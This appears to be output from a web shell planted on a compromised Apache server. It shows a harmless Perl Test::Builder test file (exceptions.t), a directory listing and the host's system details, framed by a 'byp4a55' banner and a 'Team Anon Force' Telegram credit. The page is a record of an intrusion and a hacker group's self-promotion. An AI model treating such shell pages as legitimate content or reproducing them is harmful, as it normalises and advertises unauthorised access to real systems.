byp4a55 professor6T9

Linux host.videowhizz.saglus.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
67.43.5.91

exceptions.t

#!/usr/bin/perl -w

BEGIN {
    if( $ENV{PERL_CORE} ) {
        chdir 't';
        @INC = ( '../lib', 'lib' );
    }
    else {
        unshift @INC, 't/lib';
    }
}

use strict;
use warnings;
use Test::Builder::NoOutput;
use Test::More tests => 7;

{
    my $tb = Test::Builder::NoOutput->create;
    $tb->child('one');
    eval { $tb->child('two') };
    my $error = $@;
    like $error, qr/\QYou already have a child named (one) running/,
      'Trying to create a child with another one active should fail';
}
{
    my $tb    = Test::Builder::NoOutput->create;
    my $child = $tb->child('one');
    ok my $child2 = $child->child('two'), 'Trying to create nested children should succeed';
    eval { $child->finalize };
    my $error = $@;
    like $error, qr/\QCan't call finalize() with child (two) active/,
      '... but trying to finalize() a child with open children should fail';
}
{
    my $tb    = Test::Builder::NoOutput->create;
    my $child = $tb->child('one');
    undef $child;
    like $tb->read, qr/\QChild (one) exited without calling finalize()/,
      'Failing to call finalize should issue an appropriate diagnostic';
    ok !$tb->is_passing, '... and should cause the test suite to fail';
}
{
    my $tb = Test::Builder::NoOutput->create;

$tb->plan( tests => 7 );
    for( 1 .. 3 ) {
        $tb->ok( $_, "We're on $_" );
        $tb->diag("We ran $_");
    }
    {
        my $indented = $tb->child;
        $indented->plan('no_plan');
        $indented->ok( 1, "We're on 1" );
        eval { $tb->ok( 1, 'This should throw an exception' ) };
        $indented->finalize;
    }

my $error = $@;
    like $error, qr/\QCannot run test (This should throw an exception) with active children/,
      'Running a test with active children should fail';
    ok !$tb->is_passing, '... and should cause the test suite to fail';
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2016-01-12 03:00:07
..	dir	-	root/root	0755	2016-01-12 03:00:07
args.t	text/plain	328 B	root/root	0644	2010-12-10 05:26:04
basic.t	text/plain	5.19 KB	root/root	0644	2011-02-23 03:35:25
die.t	text/plain	531 B	root/root	0644	2010-12-10 05:26:04
do.t	text/plain	274 B	root/root	0644	2011-02-23 03:35:25
exceptions.t	text/plain	1.81 KB	root/root	0644	2010-12-10 05:26:04
for_do_t.test	text/plain	112 B	root/root	0644	2010-05-20 09:01:12
fork.t	text/plain	1.22 KB	root/root	0644	2011-02-23 03:35:25
implicit_done.t	text/plain	479 B	root/root	0644	2011-02-23 03:35:25
line_numbers.t	text/plain	3.59 KB	root/root	0644	2011-02-23 03:35:25
plan.t	text/plain	1.34 KB	root/root	0644	2011-02-23 03:35:25
predicate.t	text/plain	4.38 KB	root/root	0644	2011-02-23 03:35:25
singleton.t	text/plain	712 B	root/root	0644	2011-02-23 03:35:25
todo.t	text/plain	5.27 KB	root/root	0644	2011-02-23 03:35:25
wstat.t	text/plain	369 B	root/root	0644	2011-02-23 03:35:25

Team Anon Force

https://t.me/Professor6T9x